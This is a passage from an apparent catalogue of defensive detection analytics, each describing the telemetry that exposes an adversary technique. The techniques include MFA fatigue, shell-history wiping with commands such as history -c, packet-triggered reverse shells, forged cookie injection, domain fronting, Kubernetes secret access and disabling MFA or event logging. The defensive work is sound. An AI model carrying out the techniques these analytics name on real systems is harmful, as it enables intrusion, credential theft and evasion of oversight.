Insertion of USB-based hardware proxies (e.g., PiKVM) which register under predictable names (e.g., tinypilot) or mount under known paths (e.g., /opt/tinypilot-privileged).


[AN0448] Analytic 0448

Current version: 1.0

Description:

Attachment of hardware-backed USB KVM devices (e.g., TinyPilot) that enumerate new HID or serial communication interfaces with identifiable metadata.


[AN0449] Analytic 0449

Current version: 1.0

Description:

Monitor for excessive or anomalous MFA push notifications or token requests, especially when login attempts originate from unusual IPs or geolocations and do not correspond to legitimate user-initiated sessions.


[AN0450] Analytic 0450

Current version: 1.0

Description:

Detect abnormal MFA activity within cloud service provider logs, such as repeated generation of MFA challenges for the same user session or mismatched MFA device and login origin.


[AN0451] Analytic 0451

Current version: 1.0

Description:

Detect repeated failed login events followed by MFA challenges triggered in rapid succession, especially if originating from service accounts or anomalous IP addresses.


[AN0452] Analytic 0452

Current version: 1.0

Description:

Monitor PAM and syslog entries for unusual frequency of login attempts that trigger MFA prompts, particularly when MFA challenges do not match expected user behavior.


[AN0453] Analytic 0453

Current version: 1.0

Description:

Detect anomalous OAuth or SSO logins that repeatedly generate MFA challenges, particularly where MFA approvals are denied or timed out by the user.


[AN0454] Analytic 0454

Current version: 1.0

Description:

Detect user account logon attempts that trigger multiple MFA challenges through enterprise identity integrations, especially if MFA push requests are generated without successful interactive login.


[AN0455] Analytic 0455

Current version: 1.0

Description:

Cause→effect chain: (1) a user or service spawns a shell/PowerShell that queries local/domain password policy via commands/cmdlets (e.g., net accounts, Get-ADDefaultDomainPasswordPolicy, secedit /export); (2) optional directory/LDAP reads from DCs; (3) same principal performs adjacent Discovery or credential-related actions within a short window. Correlate sysmon process creation with PowerShell ScriptBlock and Security logs.


[AN0456] Analytic 0456

Current version: 1.0

Description:

Chain: (1) interactive/non-interactive chage -l, grep/cat of PAM config (e.g., /etc/pam.d/common-password, /etc/security/pwquality.conf); (2) optional reads of /etc/login.defs; (3) same user performs account enumeration or password change attempts shortly after. Use auditd execve and file read events plus shell history collection.


[AN0457] Analytic 0457

Current version: 1.0

Description:

Chain: (1) execution of pwpolicy or MDM/DirectoryService reads of account policies; (2) optional read of /Library/Preferences/com.apple.loginwindow or config profiles; (3) follow-on credential probing or lateral movement by same user/session. Use unified logs and process telemetry.


[AN0458] Analytic 0458

Current version: 1.0

Description:

Chain: (1) cloud API calls that fetch tenant/organization password policy (e.g., AWS GetAccountPasswordPolicy, GCP/OCI equivalents or IAM settings reads); (2) within a short window, the same principal creates users, rotates creds, or changes auth settings. Use cloud audit logs.


[AN0459] Analytic 0459

Current version: 1.0

Description:

Chain: (1) IdP policy/read operations by a principal (e.g., Microsoft Entra/Graph requests to read password or authentication policies); (2) adjacent risky changes (role assignment, app consent) by same principal. Use IdP audit logs.


[AN0460] Analytic 0460

Current version: 1.0

Description:

Chain: (1) SaaS admin API or PowerShell remote session reads tenant password/authentication settings (e.g., M365 Unified Audit Log ‘Cmdlet’ with Get-MsolPasswordPolicy/Get-OrganizationConfig parameters that expose password settings); (2) same session proceeds to mailbox or tenant changes.


[AN0461] Analytic 0461

Current version: 1.0

Description:

Chain: (1) privileged CLI sessions run read-only commands that dump AAA/password policies (e.g., show aaa, show password-policy); (2) same account changes AAA or user DB shortly after. Use network device AAA/command accounting or syslog.


[AN0462] Analytic 0462

Current version: 1.0

Description:

Adversary installs/uses packet-capture or raw-socket capability (WinPcap/Npcap, wpcap/packet DLLs or raw socket attach) and sets a filter. A crafted inbound packet is observed; within a short window the host process that loaded capture libraries initiates an outbound connection (e.g., reverse shell) to the packet origin.


[AN0463] Analytic 0463

Current version: 1.0

Description:

Process creates a raw/packet socket and attaches a (e)BPF filter (setsockopt SO_ATTACH_FILTER/ATTACH_BPF or bpf(BPF_PROG_LOAD)). Immediately after a matching inbound packet, the same process binds/connects outward to a remote host (reverse shell or beacon).


[AN0464] Analytic 0464

Current version: 1.0

Description:

Process opens /dev/bpf* (libpcap) or loads NetworkExtension filter, then after a crafted inbound packet the same process initiates an outbound connection to the trigger origin.


[AN0465] Analytic 0465

Current version: 1.0

Description:

Defenders may observe unauthorized or anomalous changes to NAT configurations, including the addition of new translation rules or modifications to existing ones. Suspicious behaviors include sudden introduction of NAT mappings bridging segmented networks, new port address translation rules that obscure true source IPs, or traffic flows inconsistent with expected network design. Multi-event correlation includes detecting configuration changes on routers/firewalls, followed by traffic traversing unexpected internal/external address pairs.


[AN0466] Analytic 0466

Current version: 1.0

Description:

Detects adversary behavior where the command-line arguments of a running process are overwritten in memory to spoof the process name, typically replacing it with a benign or misleading string. The detection correlates unexpected null byte sequences, discrepancies between /proc/<pid>/cmdline and process ancestry, and suspicious memory writes shortly after process start.


[AN0467] Analytic 0467

Current version: 1.0

Description:

Detects adversary behavior clearing command history via history -c, deletion or modification of ~/.bash_history, or manipulation of the HISTFILE environment variable post-login.


[AN0468] Analytic 0468

Current version: 1.0

Description:

Detects adversary clearing shell history using history -c or deleting/altering ~/.zsh_history or ~/.bash_history. Focus on sessions with missing or wiped history.


[AN0469] Analytic 0469

Current version: 1.0

Description:

Detects PowerShell Clear-History invocation or deletion of ConsoleHost_history.txt to erase past PowerShell session history.


[AN0470] Analytic 0470

Current version: 1.0

Description:

Detects modification or truncation of /var/log/shell.log used to persist ESXi shell command history. Especially suspicious shortly after login or config changes.


[AN0471] Analytic 0471

Current version: 1.0

Description:

Detects use of clear history or clear logging commands on network device CLI to remove past activity logs.


[AN0472] Analytic 0472

Current version: 1.0

Description:

Adversary registers a malicious Microsoft Exchange transport agent DLL (.NET assembly), configures it via PowerShell or Exchange Management Shell, and persists code execution by manipulating email processing logic based on rules or headers.


[AN0473] Analytic 0473

Current version: 1.0

Description:

Adversary installs or modifies email content filters or transport scripts (e.g., Postfix milter, Sendmail milter, Exim filters) using shell access or configuration manipulation.


[AN0474] Analytic 0474

Current version: 1.0

Description:

Firmware flash utility invoked with elevated privileges followed by raw access to firmware device path or changes to boot configuration.


[AN0475] Analytic 0475

Current version: 1.0

Description:

Direct write access to /dev/mem or /sys/firmware combined with usage of firmware flashing utilities (e.g., flashrom).


[AN0476] Analytic 0476

Current version: 1.0

Description:

EFI updates executed via system processes or binaries outside of expected patch windows or using unsigned firmware packages.


[AN0477] Analytic 0477

Current version: 1.0

Description:

Firmware image uploaded via TFTP/SCP or web interface followed by reboot or unexpected loss of connectivity.


[AN0478] Analytic 0478

Current version: 1.0

Description:

Script or binary performs a rapid sequence of system discovery checks (e.g., CPU count, RAM size, registry keys, running processes) indicative of VM detection


[AN0479] Analytic 0479

Current version: 1.0

Description:

Shell script or binary uses multiple system commands (e.g., dmidecode, lscpu, lspci) in quick succession to detect virtualization environment


[AN0480] Analytic 0480

Current version: 1.0

Description:

Bash, Swift, or Objective-C programs enumerate system profile, I/O registry, or inspect kernel extensions to identify VM artifacts


[AN0481] Analytic 0481

Current version: 1.0

Description:

Defenders should monitor for suspicious enumeration of cloud infrastructure components via APIs or CLI tools. Observable behaviors include repeated listing or description operations for compute instances, snapshots, storage buckets, and volumes. From a defender’s perspective, risky activity is often identified by new or untrusted identities making discovery calls (e.g., DescribeInstances, ListBuckets, az vm list, gcloud compute instances list), enumeration from unusual geolocations or IPs, or rapid multi-service discovery in sequence. Correlating discovery API usage with later snapshot creation or instance modification provides further context of adversary behavior.


[AN0482] Analytic 0482

Current version: 1.0

Description:

Defenders may observe adversary attempts to alter or replace a network device’s operating system image through anomalous CLI commands, unexpected firmware updates, integrity check failures, or mismatches in version and checksum validation. Suspicious behavior includes modification of image files on storage, OS version output inconsistent with baselines, unexpected reloads or reboots after image replacement, and changes to boot configuration that load non-standard system images.


[AN0483] Analytic 0483

Current version: 1.0

Description:

Forged cookies in IaaS environments may appear as authentication attempts that bypass MFA, leveraging AssumeRole or session APIs with cookies that were never legitimately issued. Defenders should correlate cloud logs for cookie-based sessions without prior valid authentication, often followed by resource access from unfamiliar IP addresses.


[AN0484] Analytic 0484

Current version: 1.0

Description:

Forged web cookies on Windows endpoints can be detected by monitoring unusual modifications of browser cookie stores (e.g., Chrome SQLite DB, Edge cache) by processes outside of browsers, followed by authentication events to SaaS or IaaS services. Defenders may observe processes writing directly to cookie storage paths or injecting tokens into browser sessions.


[AN0485] Analytic 0485

Current version: 1.0

Description:

On Linux, defenders may observe forged cookie activity as unauthorized modifications to browser cookie databases (e.g., ~/.mozilla/firefox/*/cookies.sqlite, ~/.config/chromium/Default/Cookies) or scripted injection of session tokens. Suspicious usage includes curl/wget commands embedding forged cookies in headers, correlated with abnormal session activity in SaaS or IaaS logs.


[AN0486] Analytic 0486

Current version: 1.0

Description:

Forged cookies on macOS may show up as abnormal access to Safari/Chrome cookie databases in ~/Library/Cookies, combined with unexpected logon sessions authenticated by those cookies. Unified Logs may show cookie injection events or abnormal access patterns to Keychain when linked to browser authentication flows.


[AN0487] Analytic 0487

Current version: 1.0

Description:

Forged cookies in SaaS environments manifest as valid web sessions without matching login activity, MFA enforcement bypass, or cookies reused across multiple devices/IPs. Defenders should look for cookie replay, concurrent sessions from multiple geographies, or session tokens generated by unrecognized apps.


[AN0488] Analytic 0488

Current version: 1.0

Description:

A trusted/signed developer utility (parent) is executed in a non-developer context and (a) spawns suspicious children (e.g., powershell.exe, cmd.exe, rundll32.exe, regsvr32.exe, wscript.exe), (b) loads unsigned/user-writable DLLs, (c) writes and then runs a new PE from user-writable paths, and/or (d) immediately makes outbound network connections.


[AN0489] Analytic 0489

Current version: 1.0

Description:

High-frequency, repetitive service requests (e.g., HTTP, TLS renegotiation) originating from a single or small set of source IPs targeting endpoint web services or application ports, leading to exhaustion of CPU or memory on targeted Windows services.


[AN0490] Analytic 0490

Current version: 1.0

Description:

Excessive inbound HTTP or TLS connections to services such as Apache or Nginx, causing worker thread exhaustion or segmentation faults.


[AN0491] Analytic 0491

Current version: 1.0

Description:

Flood of incoming TLS or HTTP(S) connections to macOS-hosted services (e.g., MAMP, Apache), causing high CPU usage and system unresponsiveness.


[AN0492] Analytic 0492

Current version: 1.0

Description:

Automated or scripted HTTP/TLS flooding from one VM or cloud instance against another service, exploiting compute-based billing or exhaustion of service infrastructure.


[AN0493] Analytic 0493

Current version: 1.0

Description:

Detects adversary exploitation of authentication mechanisms or credential validation processes. Defender perspective includes forged Kerberos tickets (e.g., MS14-068), abnormal LSASS memory access, replayed authentication attempts, and unexpected crashes of authentication services. Multi-event correlation ties exploitation attempts to abnormal process creation, service instability, and suspicious authentication events.


[AN0494] Analytic 0494

Current version: 1.0

Description:

Detects exploitation of authentication daemons or PAM modules. Defender perspective includes failed or anomalous PAM authentications, abnormal segfaults in authentication services, and exploitation attempts followed by successful unauthorized logins. Correlation identifies memory corruption, replay attempts, and privilege escalation tied to credential services.


[AN0495] Analytic 0495

Current version: 1.0

Description:

Detects exploitation attempts against macOS authentication frameworks such as OpenDirectory or Keychain. Defender perspective includes abnormal crashes in opendirectoryd, unauthorized Keychain API usage, and unusual sudo or login events. Correlation links unexpected process behavior with credential access anomalies.


[AN0496] Analytic 0496

Current version: 1.0

Description:

Detects exploitation of vulnerabilities in cloud identity providers (IdPs) such as Azure AD or Okta for credential access. Defender perspective includes anomalous token creation or renewal, authentication bypass events, and API abuse to mint unauthorized tokens. Correlation highlights exploitation attempts tied to absent or inconsistent audit logs.


[AN0497] Analytic 0497

Current version: 1.0

Description:

Detection of anomalous ROMMON image changes or upgrades, unexpected reboots following firmware updates, and unauthorized use of firmware upgrade commands or TFTP transfers. Correlation of config modification, privilege escalation, and boot cycle anomalies provides visibility into ROMMON tampering attempts.


[AN0498] Analytic 0498

Current version: 1.0

Description:

Correlated evidence of anomalous browser/network behavior (suspicious external resource fetches and script injection patterns) followed by atypical child processes, ephemeral execution contexts, memory modification or process injection, and unexpected file drops. Defender sees network requests to previously unseen/suspicious domains or resources + browser process spawning unusual children or loading unsigned modules + file writes or registry changes shortly after those requests.


[AN0499] Analytic 0499

Current version: 1.0

Description:

Correlated evidence of browser or webview fetches to uncommon domains or mutated JS resources (proxy/NGFW logs + Zeek/HTTP logs) followed by unexpected interpreters or script engines executing (python, ruby, sh) spawned from browser processes or user sessions, rapid on-disk staging in /tmp, and outbound connections that deviate from baseline. Defender sees: uncommon resource fetch → short-lived child process executions from user browser context → file writes in temp directories → anomalous outbound C2-like connections.


[AN0500] Analytic 0500

Current version: 1.0

Description:

Correlated evidence where Safari/Chrome/WebKit-based processes issue network requests for uncommon or obfuscated JS resources followed by spawning of script interpreters, launchd or ad-hoc binaries, unusual child processes, or dynamic library loads into browser processes. Defender sees: proxy/HTTP logs with suspicious resource content + unifiedlogs/ASL showing browser/plugin crashes or extension loads + process events indicating child process creation and file writes to /var/folders or /tmp shortly after the fetch.


[AN0501] Analytic 0501

Current version: 1.0

Description:

Post-compromise identity & session anomalies that follow a drive-by compromise: token reuse from new/unfamiliar IPs, anomalous sign-in patterns for previously inactive users, unexpected consent/grant events, or provisioning changes. Defender sees an endpoint/browser compromise (network + endpoint signals) followed by unusual IdP events: new refresh token issuance, consent/consent-grant events, odd MFA bypass patterns, or unusual OAuth client registrations.


[AN0502] Analytic 0502

Current version: 1.0

Description:

Adversary uses a tool like Ruler to configure a malicious Outlook folder Home Page that loads a remote or embedded HTML payload upon folder interaction. Execution chain begins with Outlook launching, a specific folder being accessed, and a suspicious child process being spawned or COM-based execution invoked.


[AN0503] Analytic 0503

Current version: 1.0

Description:

Malicious HTML or script is rendered as a Home Page for a specific Outlook folder. Outlook accesses that folder, loads remote content, and executes embedded JavaScript or ActiveX/COM logic resulting in unauthorized actions or local execution.


[AN0504] Analytic 0504

Current version: 1.0

Description:

Detection of VNC service or executable starting unexpectedly, followed by user session creation and interactive desktop activity (mouse/keyboard simulation).


[AN0505] Analytic 0505

Current version: 1.0

Description:

Spawning of VNC-related processes (e.g., x11vnc, vncserver) coupled with authentication logs and port listening behavior on TCP 5900.


[AN0506] Analytic 0506

Current version: 1.0

Description:

Detection of VNC-based remote control via screensharingd activity in Unified Logs along with concurrent remote login activity or suspicious user interaction.


[AN0507] Analytic 0507

Current version: 1.0

Description:

Detection of adversary enumeration of domain or local group memberships via native tools such as net.exe, PowerShell, or WMI. This activity may precede lateral movement or privilege escalation.


[AN0508] Analytic 0508

Current version: 1.0

Description:

Detection of group enumeration using commands like 'id', 'groups', or 'getent group', often followed by privilege escalation or SSH lateral movement.


[AN0509] Analytic 0509

Current version: 1.0

Description:

Group membership checks via 'dscl', 'dscacheutil', or 'id', typically executed via terminal or automation scripts.


[AN0510] Analytic 0510

Current version: 1.0

Description:

Detection correlates file creation or modification of .lnk (shortcut) files in autostart locations with anomalous parent-child process lineage or unsigned binaries. Defenders should watch for LNK creation/modification events outside of known software installations, patch events, or OS updates. Flag shortcut targets pointing to suspicious locations or unknown binaries, particularly those written by script interpreters or spawned from phishing delivery chains.


[AN0511] Analytic 0511

Current version: 1.0

Description:

Creation or modification of stored procedures invoking xp_cmdshell or CLR assemblies for command execution and persistence.


[AN0512] Analytic 0512

Current version: 1.0

Description:

SQL stored procedures that invoke OS-level commands via xp_cmdshell equivalent or via UDF (User-Defined Functions) mechanisms.


[AN0513] Analytic 0513

Current version: 1.0

Description:

Process or script enumerates network shares via CLI (net view/net share, PowerShell Get-SmbShare/WMI) or OS APIs (NetShareEnum/ srvsvc.NetShareEnumAll RPC) → bursts of outbound SMB/RPC connections (445/139, \host\IPC$ / srvsvc) to many hosts inside a short window → optional follow-on file listing or copy operations.


[AN0514] Analytic 0514

Current version: 1.0

Description:

CLI tools (smbclient -L, smbmap, rpcclient, nmblookup) or custom scripts enumerate SMB shares on many internal hosts → corresponding SMB connections (445/139) captured by Zeek/Netflow within a short window.


[AN0515] Analytic 0515

Current version: 1.0

Description:

Use of native/mac tools (sharing -l, smbutil view, mount_smbfs) or scripts to enumerate SMB shares across many hosts, followed by outbound SMB connections observed in PF/Zeek logs.


[AN0516] Analytic 0516

Current version: 1.0

Description:

Correlate suspicious file transfers over SMB or Admin$ shares with process creation events (e.g., cmd.exe, powershell.exe, certutil.exe) that do not align with normal administrative behavior. Detect remote file writes followed by execution of transferred binaries.


[AN0517] Analytic 0517

Current version: 1.0

Description:

Monitor scp, rsync, curl, sftp, or ftp processes initiating transfers to internal systems combined with file creation events in unusual directories. Correlate transfer activity with subsequent execution of those binaries.


[AN0518] Analytic 0518

Current version: 1.0

Description:

Detect anomalous use of scp, rsync, curl, or third-party sync apps transferring executables into user directories. Correlate new file creation with immediate execution events.


[AN0519] Analytic 0519

Current version: 1.0

Description:

Identify lateral transfer via datastore file uploads or internal scp/ssh sessions that result in new VMX/VMDK or script files. Correlate transfer with VM execution or datastore modification.


[AN0520] Analytic 0520

Current version: 1.0

Description:

Monitors sequences involving deletion/modification of logs, registry keys, scheduled tasks, or prefetch files following suspicious process activity or elevated access escalation.


[AN0521] Analytic 0521

Current version: 1.0

Description:

Detects deletion or overwriting of bash history, syslog, audit logs, and .ssh metadata following privilege elevation or suspicious process spawning.


[AN0522] Analytic 0522

Current version: 1.0

Description:

Detects clearing of unified logs, deletion of plist files tied to persistence, and manipulation of Terminal history after initial execution.


[AN0523] Analytic 0523

Current version: 1.0

Description:

Monitors tampering with audit logs, volumes, or mounted storage often used for side-channel logging (e.g., /var/log inside containers) post-compromise.


[AN0524] Analytic 0524

Current version: 1.0

Description:

Tracks suspicious use of ESXi shell commands or PowerCLI to delete logs, rotate system files, or tamper with hostd/vpxa history.


[AN0525] Analytic 0525

Current version: 1.0

Description:

Detects deletion or hiding of security-related mail rules, audit mailboxes, or calendar/log sync artifacts indicative of tampering post-intrusion.


[AN0526] Analytic 0526

Current version: 1.0

Description:

Use of AWS STS or GCP IAM APIs to request temporary tokens or federation sessions inconsistent with normal account activity, including from unexpected principals or regions.


[AN0527] Analytic 0527

Current version: 1.0

Description:

OAuth or SAML access tokens reused across multiple sessions or clients without corresponding MFA or login activity.


[AN0528] Analytic 0528

Current version: 1.0

Description:

Application access tokens used to call APIs (e.g., Google Workspace, Salesforce) without interactive logins, often with unusual scopes or elevated permissions.


[AN0529] Analytic 0529

Current version: 1.0

Description:

OAuth token usage for Exchange Online or SharePoint API access without preceding login or from unauthorized clients.


[AN0530] Analytic 0530

Current version: 1.0

Description:

Compromised service account tokens mounted inside containers and reused for external API calls or lateral movement across services.


[AN0531] Analytic 0531

Current version: 1.0

Description:

Automated execution of native utilities and scripts to discover, enumerate, and exfiltrate files and clipboard content. Focus is on detecting repeated file access, scripting engine use, and use of command-line utilities commonly leveraged by collection scripts.


[AN0532] Analytic 0532

Current version: 1.0

Description:

Repeated or automated access to user document directories or clipboard using shell scripts or utilities like xclip/pbpaste. Detectable via auditd syscall logs or osquery file events.


[AN0533] Analytic 0533

Current version: 1.0

Description:

Use of pbpaste, AppleScript, or third-party automation frameworks (e.g., Automator) to collect clipboard or file content in bursts. Observable via unified logs.


[AN0534] Analytic 0534

Current version: 1.0

Description:

Suspicious sign-ins to Graph API or sensitive resources using non-browser scripting agents (e.g., Python, PowerShell), often for programmatic access to mailbox or OneDrive content.


[AN0535] Analytic 0535

Current version: 1.0

Description:

Detection of attempts to disable or tamper with Windows Event Logging. This includes stopping or disabling the EventLog service, modifying registry keys related to EventLog and Autologger, using auditpol or wevtutil to disable categories or clear audit policies, and detecting suspicious gaps or resets in event logs. Defenders observe registry changes, service state changes, process execution of disabling commands, and anomalies in event record sequences.


[AN0536] Analytic 0536

Current version: 1.0

Description:

Drive enumeration using PowerShell (Get-PSDrive), wmic logicaldisk, or Win32 API indicative of local volume enumeration by non-admin users or executed outside of baseline system inventory scripts.


[AN0537] Analytic 0537

Current version: 1.0

Description:

Abnormal use of lsblk, fdisk -l, lshw -class disk, or parted by non-admin users or within non-interactive shells suggests suspicious disk enumeration activity.


[AN0538] Analytic 0538

Current version: 1.0

Description:

Disk enumeration via diskutil list or system_profiler SPStorageDataType run outside of user login or not associated with system inventory tools


[AN0539] Analytic 0539

Current version: 1.0

Description:

Use of esxcli storage or vim-cmd vmsvc/getallvms by unusual sessions or through interactive shells unrelated to administrative maintenance tasks.


[AN0540] Analytic 0540

Current version: 1.0

Description:

Detection of known tools or malware flagged by antivirus, followed by a near-term drop of a similar binary with modified signature and resumed activity (execution, C2, or persistence).


[AN0541] Analytic 0541

Current version: 1.0

Description:

Detection of anti-malware quarantining or flagging a tool, followed by a new binary written to disk with a similar function or name and a resumed process chain.


[AN0542] Analytic 0542

Current version: 1.0

Description:

Detection of XProtect or AV quarantining a known tool, followed by modification (file size, hash, string) and subsequent re-execution by the same or related user.


[AN0543] Analytic 0543

Current version: 1.0

Description:

Detects registry and Group Policy modifications that disable or weaken MFA, suspicious PowerShell usage modifying MFA-related attributes, and anomalous login sessions succeeding without expected MFA challenge.


[AN0544] Analytic 0544

Current version: 1.0

Description:

Detects conditional access policy changes, exclusion of accounts from MFA enforcement, or registration of new MFA factors by non-admin or anomalous users.


[AN0545] Analytic 0545

Current version: 1.0

Description:

Detects API calls to cloud secrets/MFA configurations where MFA enforcement policies are disabled or bypassed.


[AN0546] Analytic 0546

Current version: 1.0

Description:

Detects PAM module modifications or removal of MFA hooks in /etc/pam.d/ configurations, correlated with successful authentications lacking MFA prompts.


[AN0547] Analytic 0547

Current version: 1.0

Description:

Detects modifications to authorization plugins responsible for MFA enforcement and correlates with suspicious login sessions missing MFA prompts.


[AN0548] Analytic 0548

Current version: 1.0

Description:

Detects suspicious MFA method changes, such as registration of weaker factors (e.g., SMS), or removal of MFA requirements for specific accounts or groups.


[AN0549] Analytic 0549

Current version: 1.0

Description:

Detects MFA bypass attempts by modifying tenant-wide authentication policies or excluding high-value accounts from MFA enforcement.


[AN0550] Analytic 0550

Current version: 1.0

Description:

Abuse of ClickOnce applications where rundll32.exe invokes dfshim.dll with ShOpenVerbApplication or dfsvc.exe spawns unexpected child processes or loads unsigned modules.


[AN0551] Analytic 0551

Current version: 1.0

Description:

Suspicious creation or modification of inbox rules through PowerShell (New-InboxRule, Set-InboxRule) to automatically delete, move, or hide emails. Defender perspective: unusual rule activity correlated with mailbox access and filtering patterns.


[AN0552] Analytic 0552

Current version: 1.0

Description:

Alterations to plist configuration files (RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, MessageRules.plist) that define email hiding or filtering rules. Defender perspective: unexpected changes in these files associated with Mail.app processes.


[AN0553] Analytic 0553

Current version: 1.0

Description:

Rule manipulation through local email clients (e.g., Evolution, Thunderbird) or server-side filtering scripts (e.g., sieve) creating conditions to move or discard emails with security-related keywords.


[AN0554] Analytic 0554

Current version: 1.0

Description:

Suspicious rule creation within Outlook or Exchange clients, including auto-move or delete conditions tied to incident or security alert keywords. Defender perspective: correlation between missing inbound emails and newly added mailbox rules.


[AN0555] Analytic 0555

Current version: 1.0

Description:

Identify unauthorized creation, deletion, or modification of business-critical stored data such as Office documents, database files, and log archives. Detect anomalous processes modifying stored data outside of expected workflows (e.g., non-database processes modifying database files).


[AN0556] Analytic 0556

Current version: 1.0

Description:

Detect suspicious file creation, modification, or deletion in stored data directories (e.g., /var/lib/mysql/, /var/log/, mail spools). Identify shell commands interacting directly with structured data files instead of legitimate database utilities.


[AN0557] Analytic 0557

Current version: 1.0

Description:

Monitor sensitive data files such as plist-based storage, mail archives, or Office files for unexpected modifications. Detect anomalous processes modifying stored data outside expected update cycles using FSEvents and Unified Logs.


[AN0558] Analytic 0558

Current version: 1.0

Description:

Execution of control.exe or rundll32.exe with parameters pointing to CPL files, especially from non-standard directories or newly created files, followed by suspicious child process execution or registry modifications registering new Control Panel items.


[AN0559] Analytic 0559

Current version: 1.0

Description:

Execution of built-in tools (e.g., ipconfig, route, netsh) or PowerShell/WMI queries to enumerate IP, MAC, interface status, or routing configuration.


[AN0560] Analytic 0560

Current version: 1.0

Description:

Execution of ifconfig, ip a, or access to /proc/net/ indicating collection of local interface and route configuration.


[AN0561] Analytic 0561

Current version: 1.0

Description:

Execution of ifconfig, networksetup, or system_profiler to query IP/MAC/interface configuration and status.


[AN0562] Analytic 0562

Current version: 1.0

Description:

Use of esxcli network commands (e.g., esxcli network nic list, esxcli network ip interface ipv4 get) via SSH or hostd to enumerate adapter and IP information.


[AN0563] Analytic 0563

Current version: 1.0

Description:

CLI-based execution of interface and routing discovery commands (e.g., show ip interface, show arp, show route) over Telnet, SSH, or console.


[AN0564] Analytic 0564

Current version: 1.0

Description:

Suspicious outbound HTTPS connections where the TLS Server Name Indication (SNI) does not match the HTTP Host header, indicating potential use of domain fronting to mask C2 traffic via CDNs.


[AN0565] Analytic 0565

Current version: 1.0

Description:

Applications such as curl, wget, or custom binaries initiate HTTPS connections where the TLS SNI is mismatched or absent while HTTP Host targets CDN-available C2 endpoints.


[AN0566] Analytic 0566

Current version: 1.0

Description:

Unsigned or user-space apps initiate TLS connections with one hostname and HTTP headers requesting a different domain, commonly abused in CDN-resident domain fronting techniques.


[AN0567] Analytic 0567

Current version: 1.0

Description:

Traffic originating from ESXi hosts or management interfaces displays SNI-to-Host mismatch behavior, particularly anomalous given typical infrastructure communication patterns.


[AN0568] Analytic 0568

Current version: 1.0

Description:

A non-standard process (or script-hosted process) loads camera/video-capture libraries (e.g., avicap32.dll, mf.dll, ksproxy.ax), opens the Camera Frame Server/device, writes video/image artifacts (e.g., .mp4/.avi/.yuv) to unusual locations, and optionally initiates outbound transfer shortly after.


[AN0569] Analytic 0569

Current version: 1.0

Description:

A process opens/reads /dev/video* (V4L2), performs ioctl/read loops, writes large/continuous video artifacts to disk, and/or quickly establishes outbound connections for exfiltration.


[AN0570] Analytic 0570

Current version: 1.0

Description:

A non-whitelisted process receives TCC camera entitlement (kTCCServiceCamera), opens AppleCamera/AVFoundation device handles, writes .mov/.mp4 artifacts to unusual locations, and/or beacons/exfiltrates soon after.


[AN0571] Analytic 0571

Current version: 1.0

Description:

Detection correlates anomalous Docker or Kubernetes API requests with access to logs, secrets, or service accounts. Observes unauthorized use of docker logs, kubectl get secrets, or direct API calls to Kubernetes API server endpoints. Identifies behavioral patterns where adversaries escalate from basic pod/container interaction to privileged API calls exposing sensitive credential material.


[AN0572] Analytic 0572

Current version: 1.0

Description:

Monitor for execution of hypervisor management commands such as esxcli vm process list or vim-cmd vmsvc/getallvms that enumerate virtual machines. Defenders observe unexpected users issuing VM listing commands outside normal administrative workflows.


[AN0573] Analytic 0573

Current version: 1.0

Description:

Detects attempts to enumerate VMs via hypervisor tools like virsh, VBoxManage, or qemu-img. Defender correlates suspicious command invocations with parent process lineage and unexpected users.


[AN0574] Analytic 0574

Current version: 1.0

Description:

Detects enumeration of VMs using PowerShell (Get-VM), VMware Workstation (vmrun.exe), or Hyper-V (VBoxManage.exe). Defender observes suspicious command lines executed by unexpected users or outside normal administrative sessions.


[AN0575] Analytic 0575

Current version: 1.0

Description:

Detects VM enumeration attempts using virtualization utilities such as VirtualBox (VBoxManage) or Parallels CLI. Defender observes abnormal invocation of VM listing commands correlated with non-admin users or unusual parent processes.


[AN0576] Analytic 0576

Current version: 1.0

Description:

Cause→effect chain: (1) A user or service launches an indirection utility (e.g., forfiles.exe, pcalua.exe, wsl.exe, scriptrunner.exe, ssh.exe with -o ProxyCommand/LocalCommand). (2) That utility spawns a secondary program/command (PowerShell, cmd, msiexec, regsvr32, curl, arbitrary EXE) and/or opens outbound network connections. (3) Optional precursor modification of SSH config to persist LocalCommand/ProxyCommand. Correlate process creation, command/script content, file access to %USERPROFILE%.ssh\config, and network connections from the utility or its child.


[AN0577] Analytic 0577

Current version: 1.0

Description:

DLL hijacking behaviors including unexpected DLL loads from non-standard directories, replacement of DLLs, phantom DLL insertion, redirection file creation, and substitution of legitimate DLLs. Defender correlates file system modifications, registry changes, and module load telemetry to detect abnormal DLL behavior in trusted processes.


[AN0578] Analytic 0578

Current version: 1.0

Description:

Detects interactive or scripted abuse of cmd.exe, batch files, or shell invocation chains. Focuses on parent-child relationships (e.g., cmd.exe launched from unusual parents), anomalous command-line parameters, and chaining with discovery, credential access, or lateral movement behaviors.


[AN0579] Analytic 0579

Current version: 1.0

Description:

Detects ptrace-based process injection by correlating audit logs of ptrace syscalls, memory modifications (e.g., poketext, pokedata), and suspicious register manipulation on a target process not normally debugged by the originator. Alerts on processes attempting to ptrace non-child or privileged processes, especially those followed by abnormal memory or execution behavior.


[AN0580] Analytic 0580

Current version: 1.0

Description:

Detects suspicious registry modifications under HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\*\Driver, DLL loads by spoolsv.exe of non-standard or unsigned modules, and abnormal usage of the AddMonitor API by non-installation processes. This pattern often indicates an attempt to persist a malicious DLL via the print monitor mechanism, particularly when correlated with creation of files in C:\Windows\System32 not tied to known patches or installations.


[AN0581] Analytic 0581

Current version: 1.0

Description:

Execution of XSL scripts via msxsl.exe or wmic.exe using embedded JScript or VBScript for proxy execution. Detection correlates process creation, command-line patterns, and module load behavior of scripting components (e.g., jscript.dll).


[AN0582] Analytic 0582

Current version: 1.0

Description:

Detects abuse of container orchestration platforms (e.g., Kubernetes) where adversaries create CronJobs to maintain persistence or execute malicious Jobs across the cluster.


[AN0583] Analytic 0583

Current version: 1.0

Description:

Registry modification of the LSA Authentication Packages key followed by LSASS loading a non-standard or unsigned DLL. This includes unusual write access to HKLM\SYSTEM\CurrentControlSet\Control\Lsa, especially during non-installation timeframes. Correlated with lsass.exe loading DLLs not present in baseline or lacking valid signatures.


[AN0584] Analytic 0584

Current version: 1.0

Description:

Excessive resource exhaustion or service crash induced by processes launched by users or scripts that rapidly consume CPU/memory or attempt malformed service interactions.


[AN0585] Analytic 0585

Current version: 1.0

Description:

Malicious script or binary causes repeated kernel panics, OOM kills, or systemd service restarts targeting services like nginx, httpd, sshd.


[AN0586] Analytic 0586

Current version: 1.0

Description:

Adversary launches high-entropy process or malformed app bundle causing repeated application crashes and system slowdowns.


